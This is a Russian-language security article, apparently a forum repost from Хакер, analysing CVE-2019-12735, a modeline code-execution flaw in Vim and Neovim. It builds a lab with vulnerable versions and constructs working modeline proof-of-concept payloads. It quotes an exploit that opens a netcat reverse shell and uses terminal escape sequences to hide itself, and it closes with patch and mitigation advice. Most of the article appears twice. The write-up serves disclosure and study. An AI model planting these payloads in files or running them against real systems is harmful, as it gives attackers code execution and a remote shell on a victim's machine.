Сегодня поговорим об уязвимости в редакторе Vim и его побратиме Neovim. Для ее эксплуатации не нужно никаких привилегий, пользователю достаточно открыть специально сформированный файл, который выполнит произвольный код на целевой системе.
Vim — это бесконечно кастомизируемая среда, которая подходит для решения огромного перечня задач. Кто-то им просто редактирует файлы, а кто-то модифицирует, пока не получится IDE для какого-то из языков программирования. Благодаря такой гибкости Vim остается одним из самых популярных редакторов. Он предустановлен на большей части современных дистрибутивов Linux, поэтому уязвимость в нем потенциально интересна.
Уязвимость обнаружил Армин Размжоу (Armin Razmjou) в середине этого года. Ей присвоен номер CVE-2019-12735: «уязвимость выполнения произвольного кода в Vim и Neovim». Под угрозой оказались версии Vim, которые не содержат патча 8.1.1365, и версии Neovim ниже 0.3.6.
Причина бага в том, что функция source обрабатывает файлы вне защищенного окружения. Это позволяет злоумышленнику выполнить любые команды, которые доступны в Vim.
Стенд
Для начала поднимем стенд с уязвимыми версиями Vim и Neovim. Будем использовать контейнер Docker с Debian.
Устанавливаем все необходимые зависимости.
Такая портянка нужна, потому что мы будем компилировать дистрибутивы редакторов из исходников. Скачиваем уязвимые версии: для Vim это все, что ниже версии 8.1.1365, а для Neovim — не выше 0.3.5.
Компилим и устанавливаем Vim. Включаем флаги для добавления отладочной информации.
То же самое проделываем и для Neovim.
Теперь нам нужно создать конфигурационные файлы, в которых надо активировать modeline. Для Vim это .vimrc в домашней директории, а для Neovim — init.vim.
Стенд готов. Можешь запустить редакторы и проверить их работоспособность.
Готовый стенд с уязвимыми версиями Vim и Neovim
Чтобы выйти из Vim без сохранения результатов редактирования файла, нужно перейти в нормальный режим с помощью Esc и ввести :q!. Ура, ты спасен!
Детали уязвимости
Для начала давай разберемся, что такое modeline. В Vim существует четыре основных режима работы: обычный режим, режим вставки, командный режим и визуальный режим.
Отображение режима работы редактора Vim
Для перехода в обычный режим нужно нажать Esc, а с помощью : можно войти в командный. В нем ты можешь выполнять команды, встроенные в Vim или предоставляемые плагинами. Это могут быть самые разные действия: настройка среды и рабочих файлов, функции, связанные с обработкой текста, команды оболочки и тому подобное.
Не прописывать команды каждый раз вручную и настроить среду Vim под свои нужды помогает файл .vimrc. По аналогии с .bashrc он выполняется каждый раз при запуске Vim. Если такой файл находится в корневом каталоге текущего пользователя, то он будет загружен автоматически.
Это все, конечно, удобно, но что, если нужно переопределить какие-то настройки для конкретного типа файлов или вообще в пределах одного документа? Тут на помощь и приходит modeline. Этот режим позволяет определить в открываемом файле опции его редактирования. Настройки задаются напрямую в файле, по дефолту интерпретируется первая и последняя строка. Если они соответствуют шаблону, то Vim выполняет их.
В некоторых современных дистрибутивах Linux этот режим включен по умолчанию. Если версия твоего редактора в зоне риска, то набери команду :set modeline?. Увидишь в ответ nomodeline — считай, что ты в безопасности и уязвимость на тебя не распространяется.
Существует два формата указания опций в modeline. Первый — короткий.
В качестве опций указывается список необходимых настроек, разделенных пробелом или двоеточием. Каждая часть перед символом двоеточия — это аргумент для :set. Например, часто задают кастомную ширину строки, размер табуляции и замену табов на пробелы.
Второй формат — расширенный.
В этом формате те же самые опции будут выглядеть следующим образом:
Разумеется, в целях безопасности в modeline можно использовать не все настройки.
Не все опции доступны для изменения через modeline
Например, попробуем поменять кодировку, в которой работает редактор. За это отвечает опция
Опция enc недоступна для изменения через modeline
/src/option.c
Помимо обычных опций, допускается использование выражений.
Все выражения выполняются в режиме песочницы (sandbox).
Выражения из modeline выполняются в песочнице
В ней допускается применение только простейших «безопасных операций».
Обратимся к сорцам. Проверяет, можно ли запустить выражение в песочнице, функция
/src/ex_cmds.c
Если пробежаться по исходникам, то можно заметить, что функция source разрешена для запуска через modeline и она работает не в песочнице. Эта функция очень ненадежна с точки зрения безопасности, так как выполняет команды Vim из указанного файла.
Описание команды source
/src/ex_cmds2.c
Когда после source указан модификатор !, команды из файла выполняются, как если бы мы их вводили в нормальном режиме. За это поведение отвечает флаг
Выполнение команды source! в Vim
Создадим файл с пейлоадом.
poc
Чтобы вызвать его через
hello.c
Сворачивание строк с отступами. foldmethod установлен в indent
В Vim можно кастомизировать любой чих, и сворачивание — это не исключение. Ты можешь указать свою функцию свертывания, которая будет приводить документ к желаемому виду. Возьмем на вооружение эти функции для того, чтобы вызвать команду source и выполнить наш пейлоад.
Для начала нужно включить режим свертывания (на случай, если он был отключен в .vimrce). Это можно сделать, используя команду foldenable.
Затем в foldmethod указываем тип свертывания. Нам нужен
Теперь в foldexpr нужно задать выражение, которое будет выполнено для сворачивания строк. Здесь воспользуемся функциями, которые принимают команды, — assert_beeps и assert_fails отлично подойдут.
Некоторые функции, принимающие в качестве аргументов команды Vim
/src/eval.c
/src/eval.c
В теле assert_beeps уже можно парсить наш файл с пейлоадом при помощи команды source.
Здесь не забываем про экранирование пробелов, так как это разделитель команд, и остальных спецсимволов. Осталось указать уровень свертывания по умолчанию и текст, который отображается, когда код свернут. Это можно сделать при помощи опций foldlevel и foldtext соответственно.
Теперь добавим получившуюся строку в файл и откроем его в Vim. Я сделал это через отладчик и поставил бряк на функцию cmd_source.
Вызов команды source через modeline в отладчике
В результате GDB показывает нам, что после открытия файла вызывается файл
Результат выполнения пейлоада при открытии файла в Vim
Тот же результат получим при использовании второй (сокращенной) формы вызова
На этом этапе для успешной эксплуатации нужно два файла — один с пейлоадом, а второй для его вызова, что, сам понимаешь, не очень удобно. Исправить дело нам поможет регистр % — он указывает на текущий файл.
Содержимое регистра % в Vim
То есть команда :source! % откроет этот же файл и выполнит команды, которые в нем указаны.
Использование регистра % в команде source
Таким образом, наш эксплоит примет следующий вид:
Теперь надо записать в этот же файл команды, которые нужно выполнить, то есть сделать пейлоад плюс эксплоит — два в одном. В самом начале файла указываем, что хотим выполнить:
Все, что идет после команды, тоже будет выполнено, поэтому с помощью || укажем любую команду, которая не будет отсвечивать, например
Дальше нужно вставить
Можно и просто использовать одни лишь кавычки, без true, только в таком случае нужно быть уверенным, что первая команда отработает успешно, иначе в командную строку улетит содержимое скобок и ты получишь мусор — ответ от шелла «Команда не найдена».
Мусор в командной строке после некорректно отработавшей команды
В результате и shell-команда получилась верная, и modeline корректный.
poc
Открываем полученный файл в Vim, и команда выполняется.
Успешная эксплуатация выполнения команд в Vim через modeline
Вместо source также можно использовать ее сокращенную версию so.
poc
Конечно же, после того как команда отработает, выполнение вернется в редактор и пользователь увидит наш пейлоад. Это можно поправить, используя магию управляющих последовательностей в терминале. Двухсимвольные управляющие последовательности начинаются с символа ESC (0x1B), а если последовательность содержит более двух символов, то добавляется еще и символ [ (0x5B). Такие конструкции также называются escape-последовательностями, так как они начинаются с символа ESC.
Разберем один из эксплоитов с GitHub за авторством Arminius.
Исходный код эксплоита для Vim
В начале файла идут две управляющие последовательности:
Первые две эскейп-последовательности в эксплоите
Затем идет строка Nothing here., которая вводится в качестве текста файла, и после нее — кнопка Esc (1b), то есть выходим из режима Insert в режим Normal. Далее идет пачка внутренних команд Vim.
Модификатор silent! перед командой подавляет любой ее вывод, даже если это ошибка.
После этого идет уже знакомый нам пейлоад для открытия текущего файла. Затем идут эскейп-последовательности, которые скрывают содержимое файла от терминальных читалок типа cat.
Скрытие содержимого эксплоита с помощью escape-последовательностей в терминале
Конечно же, этот трюк работает только для банального скрытия пейлоада. Просто открыв файл через
Раскрываем содержимое эксплоита
В Neovim этот эксплоит тоже работает. Плюс в этой версии редактора имеется функция nvim_input, которая также уязвима.
Чтобы каждый раз не возиться с редактированием пейлоадов для тестирования, можешь попробовать воспользоваться, например, генератором, который написал mikaelkall. В качестве параметров нужно будет указать адрес бэкконнекта, имя файла и опционально его содержимое.
Демонстрация уязвимости (видео)
Вывод
Эта уязвимость еще раз доказывает, что не стоит бездумно открывать неизвестные файлы даже в обычных редакторах. Их функции не только упрощают жизнь пользователям, но и создают дополнительные векторы для атак.
Разработчики Vim и Neovim оперативно выпустили патчи для устранения найденных уязвимостей. Эти патчи уже входят в последние версии популярных дистрибутивов Linux. Патч под номером 8.1.1365 для Vim добавляет проверку
Ну и конечно, почаще обновляй ОС и софт и не доверяй файлам, которые пришли из неизвестных источников. Даже если они просто текстовые.
Автор @aLLy
http://russiansecurity.expert
взято с хакер.ру
Vim — это бесконечно кастомизируемая среда, которая подходит для решения огромного перечня задач. Кто-то им просто редактирует файлы, а кто-то модифицирует, пока не получится IDE для какого-то из языков программирования. Благодаря такой гибкости Vim остается одним из самых популярных редакторов. Он предустановлен на большей части современных дистрибутивов Linux, поэтому уязвимость в нем потенциально интересна.
Уязвимость обнаружил Армин Размжоу (Armin Razmjou) в середине этого года. Ей присвоен номер CVE-2019-12735: «уязвимость выполнения произвольного кода в Vim и Neovim». Под угрозой оказались версии Vim, которые не содержат патча 8.1.1365, и версии Neovim ниже 0.3.6.
Причина бага в том, что функция source обрабатывает файлы вне защищенного окружения. Это позволяет злоумышленнику выполнить любые команды, которые доступны в Vim.
Стенд
Для начала поднимем стенд с уязвимыми версиями Vim и Neovim. Будем использовать контейнер Docker с Debian.
Код:
$ docker run --rm --hostname vimrce --name vimrce --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it debian /bin/bash
Код:
$ apt update && apt install -y nano build-essential cmake wget unzip pkg-config libtool libtool-bin gettext git gdb libncurses5-dev libncursesw5-dev strace ltrace
Код:
$ cd ~
$ git clone https://github.com/vim/vim.git --depth=1 --branch=v8.1.1364
$ git clone https://github.com/neovim/neovim.git --depth=1 --branch=v0.3.5
Код:
$ cd ~/vim
$ sed -i 's@#STRIP = /@STRIP = /@' src/Makefile
$ CFLAGS="-g -DDEBUG" ./configure
$ make
$ make install
Код:
$ cd ~/neovim
$ make CMAKE_EXTRA_FLAGS="-g"
$ make install
Код:
$ echo "set modeline" > ~/.vimrc
$ mkdir -p ~/.config/nvim/
$ echo "set modeline" > ~/.config/nvim/init.vim
Готовый стенд с уязвимыми версиями Vim и Neovim
Чтобы выйти из Vim без сохранения результатов редактирования файла, нужно перейти в нормальный режим с помощью Esc и ввести :q!. Ура, ты спасен!
Детали уязвимости
Для начала давай разберемся, что такое modeline. В Vim существует четыре основных режима работы: обычный режим, режим вставки, командный режим и визуальный режим.
Отображение режима работы редактора Vim
Для перехода в обычный режим нужно нажать Esc, а с помощью : можно войти в командный. В нем ты можешь выполнять команды, встроенные в Vim или предоставляемые плагинами. Это могут быть самые разные действия: настройка среды и рабочих файлов, функции, связанные с обработкой текста, команды оболочки и тому подобное.
Не прописывать команды каждый раз вручную и настроить среду Vim под свои нужды помогает файл .vimrc. По аналогии с .bashrc он выполняется каждый раз при запуске Vim. Если такой файл находится в корневом каталоге текущего пользователя, то он будет загружен автоматически.
Это все, конечно, удобно, но что, если нужно переопределить какие-то настройки для конкретного типа файлов или вообще в пределах одного документа? Тут на помощь и приходит modeline. Этот режим позволяет определить в открываемом файле опции его редактирования. Настройки задаются напрямую в файле, по дефолту интерпретируется первая и последняя строка. Если они соответствуют шаблону, то Vim выполняет их.
В некоторых современных дистрибутивах Linux этот режим включен по умолчанию. Если версия твоего редактора в зоне риска, то набери команду :set modeline?. Увидишь в ответ nomodeline — считай, что ты в безопасности и уязвимость на тебя не распространяется.
Существует два формата указания опций в modeline. Первый — короткий.
Код:
[любой_текст]{пробел_или_таб}{vi:|vim:|ex:}[пробел_или_таб]{опции}
Код:
vim:tw=80 ts=4 et
Код:
[любой_текст]{пробел_или_таб}{vi:|vim:|ex:}[пробел_или_таб]se[t] {опции}:[любой_текст]
Код:
/* vim: set textwidth=80 tabstop=4 expandtab: */
Не все опции доступны для изменения через modeline
Например, попробуем поменять кодировку, в которой работает редактор. За это отвечает опция
enc.
Код:
/* vim: set enc=foo: */
Опция enc недоступна для изменения через modeline
/src/option.c
Код:
4544: /* Disallow changing some options from modelines. */
4545: if (opt_flags & OPT_MODELINE)
4546: {
4547: if (flags & (P_SECURE | P_NO_ML))
4548: {
4549: errmsg = _("E520: Not allowed in a modeline");
4550: goto skip;
4551: }
Код:
/* vim: set fdm=expr fde=getline(v\:lnum)=~'{'?'>1'\:'1': */
Все выражения выполняются в режиме песочницы (sandbox).
Выражения из modeline выполняются в песочнице
В ней допускается применение только простейших «безопасных операций».
Обратимся к сорцам. Проверяет, можно ли запустить выражение в песочнице, функция
check_secure./src/ex_cmds.c
Код:
4802: int
4803: check_secure(void)
4804: {
4805: if (secure)
4806: {
4807: secure = 2;
4808: emsg(_(e_curdir));
4809: return TRUE;
4810: }
4811: #ifdef HAVE_SANDBOX
4812: /*
4813: * In the sandbox more things are not allowed, including the things
4814: * disallowed in secure mode.
4815: */
4816: if (sandbox != 0)
4817: {
4818: emsg(_(e_sandbox));
4819: return TRUE;
4820: }
4821: #endif
4822: return FALSE;
4823: }
Описание команды source
/src/ex_cmds2.c
Код:
3214: /*
3215: * ":source {fname}"
3216: */
3217: void
3218: ex_source(exarg_T *eap)
3219: {
...
3236: cmd_source(eap->arg, eap);
3237: }
...
3240: cmd_source(char_u *fname, exarg_T *eap)
3241: {
...
3245: else if (eap != NULL && eap->forceit)
3246: /* ":source!": read Normal mode commands
3247: * Need to execute the commands directly. This is required at least
3248: * for:
3249: * - ":g" command busy
3250: * - after ":argdo", ":windo" or ":bufdo"
3251: * - another command follows
3252: * - inside a loop
3253: */
3254: openscript(fname, global_busy || listcmd_busy || eap->nextcmd != NULL
3255: #ifdef FEAT_EVAL
3256: || eap->cstack->cs_idx >= 0
3257: #endif
3258: );
forceit (eap->forceit).
Выполнение команды source! в Vim
Создадим файл с пейлоадом.
poc
Код:
:!uname -a
modeline, в первую очередь нам нужно найти функцию, которая принимает выражения. В Vim, как и в большинстве IDE, есть возможность сворачивать участки кода (folding). Например, если ты не хочешь видеть тело функций при открытии файла, то устанавливаешь метод indent в foldmethod, и все строки, которые содержат отступы, будут свернуты.hello.c
C-подобный:
1: /* vim: set foldmethod=indent: */
2: #include <iostream>
3: using namespace std;
4: int main()
5: {
6: cout << "Hello, World!";
7: return 0;
8: }
Сворачивание строк с отступами. foldmethod установлен в indent
В Vim можно кастомизировать любой чих, и сворачивание — это не исключение. Ты можешь указать свою функцию свертывания, которая будет приводить документ к желаемому виду. Возьмем на вооружение эти функции для того, чтобы вызвать команду source и выполнить наш пейлоад.
Для начала нужно включить режим свертывания (на случай, если он был отключен в .vimrce). Это можно сделать, используя команду foldenable.
Код:
/* vim: set foldenable: */
expr.
Код:
/* vim: set foldenable foldmethod=expr: */
Код:
/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps(): */
Некоторые функции, принимающие в качестве аргументов команды Vim
/src/eval.c
Код:
9691: assert_beeps(typval_T *argvars)
9692: {
...
9700: do_cmdline_cmd(cmd);
...
9732: assert_fails(typval_T *argvars)
9733: {
...
9741: do_cmdline_cmd(cmd);
/src/eval.c
Код:
590: do_cmdline_cmd(char_u *cmd)
591: {
592: return do_cmdline(cmd, NULL, NULL,
593: DOCMD_VERBOSE|DOCMD_NOWAIT|DOCMD_KEYTYPED);
594: }
Код:
/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps('source\!\ poc'): */
Код:
/* vim: set foldenable foldmethod=expr foldexpr=assert_beeps('source\!\ poc') foldlevel=0 foldtext=: */
Вызов команды source через modeline в отладчике
В результате GDB показывает нам, что после открытия файла вызывается файл
poc и пейлоад отрабатывает: на экране видим результат выполнения uname -a.
Результат выполнения пейлоада при открытии файла в Vim
Тот же результат получим при использовании второй (сокращенной) формы вызова
modeline.
Код:
// vi:fen:fdm=expr:fde=assert_beeps('source\!\ poc'):fdl=0:fdt=
Код:
:reg %
Содержимое регистра % в Vim
То есть команда :source! % откроет этот же файл и выполнит команды, которые в нем указаны.
Использование регистра % в команде source
Таким образом, наш эксплоит примет следующий вид:
Код:
// vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt=
Код:
:!uname -a
true.
Код:
:!uname -a||true
modeline. Чтобы не сломать командную строку, возьмем ее в кавычки.
Код:
:!uname -a||true " vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt= "
Мусор в командной строке после некорректно отработавшей команды
В результате и shell-команда получилась верная, и modeline корректный.
poc
Код:
1: :!uname -a||true " vi:fen:fdm=expr:fde=assert_beeps('source\!\ \%'):fdl=0:fdt= "
Успешная эксплуатация выполнения команд в Vim через modeline
Вместо source также можно использовать ее сокращенную версию so.
poc
Код:
1: :!uname -a||true " vi:fen:fdm=expr:fde=assert_beeps('so\!\ \%'):fdl=0:fdt= "
Разберем один из эксплоитов с GitHub за авторством Arminius.
Исходный код эксплоита для Vim
В начале файла идут две управляющие последовательности:
- Esc[?7l (1b 5b 3f 37 6c);
- EscS (1b 53).
Первые две эскейп-последовательности в эксплоите
Затем идет строка Nothing here., которая вводится в качестве текста файла, и после нее — кнопка Esc (1b), то есть выходим из режима Insert в режим Normal. Далее идет пачка внутренних команд Vim.
Код:
silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0:
- w записывает изменения в текущий файл;
- call выполняет вызов функции; в нашем случае это system, которая исполняет shell-команду. Здесь это бэкконнект через netcat;
- redraw! обновляет содержимое экрана, предварительно очистив его (модификатор !);
- file выводит информацию о текущем файле: имя, позицию курсора, статус файла и тому подобное. Не совсем понятно, зачем это нужно, можно выкинуть.
После этого идет уже знакомый нам пейлоад для открытия текущего файла. Затем идут эскейп-последовательности, которые скрывают содержимое файла от терминальных читалок типа cat.
- 16 — аналог сочетания Ctrl-V для входа в режим ввода raw, где введенные символы не интерпретируются драйвером терминала;
- Esc[1G (1B 5B 31 47) — двигаем курсор на нужную позицию. Она указывается числом перед символом G, здесь 1 — на начало текущей строки. По умолчанию как раз эта позиция и стоит, поэтому единицу можно не указывать;
- 16 — снова входим в режим raw;
- Esc[K (1B 5B 4B) — стираем содержимое строки, начиная с указанной позиции. Если не указано число до символа K, то считается, что оно равно нулю, и удаляется до конца строки;
- Nothing here. — текст, который будет выводиться в терминал;
- 16 — снова входим в режим raw;
- Esc[D (1B 5B 44) — возвращаем курсор на предыдущую позицию.
Скрытие содержимого эксплоита с помощью escape-последовательностей в терминале
Конечно же, этот трюк работает только для банального скрытия пейлоада. Просто открыв файл через
nano или cat с флагом -v, легко обойти эту технику.
Код:
cat -v shell.txt
Раскрываем содержимое эксплоита
В Neovim этот эксплоит тоже работает. Плюс в этой версии редактора имеется функция nvim_input, которая также уязвима.
Код:
# vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a\\n"):fdl=0
Код:
build.py <lhost> <lport> <filename> [content]
Демонстрация уязвимости (видео)
Вывод
Эта уязвимость еще раз доказывает, что не стоит бездумно открывать неизвестные файлы даже в обычных редакторах. Их функции не только упрощают жизнь пользователям, но и создают дополнительные векторы для атак.
Разработчики Vim и Neovim оперативно выпустили патчи для устранения найденных уязвимостей. Эти патчи уже входят в последние версии популярных дистрибутивов Linux. Патч под номером 8.1.1365 для Vim добавляет проверку
check_secure в функцию openscript, и теперь песочница не даст безнаказанно вытворять что вздумается. Если ставить заплатку ты не хочешь, то отключи использование modeline. Для этого нужно добавить в файл .vimrc такую строчку:
Код:
set nomodeline
Автор @aLLy
http://russiansecurity.expert
взято с хакер.ру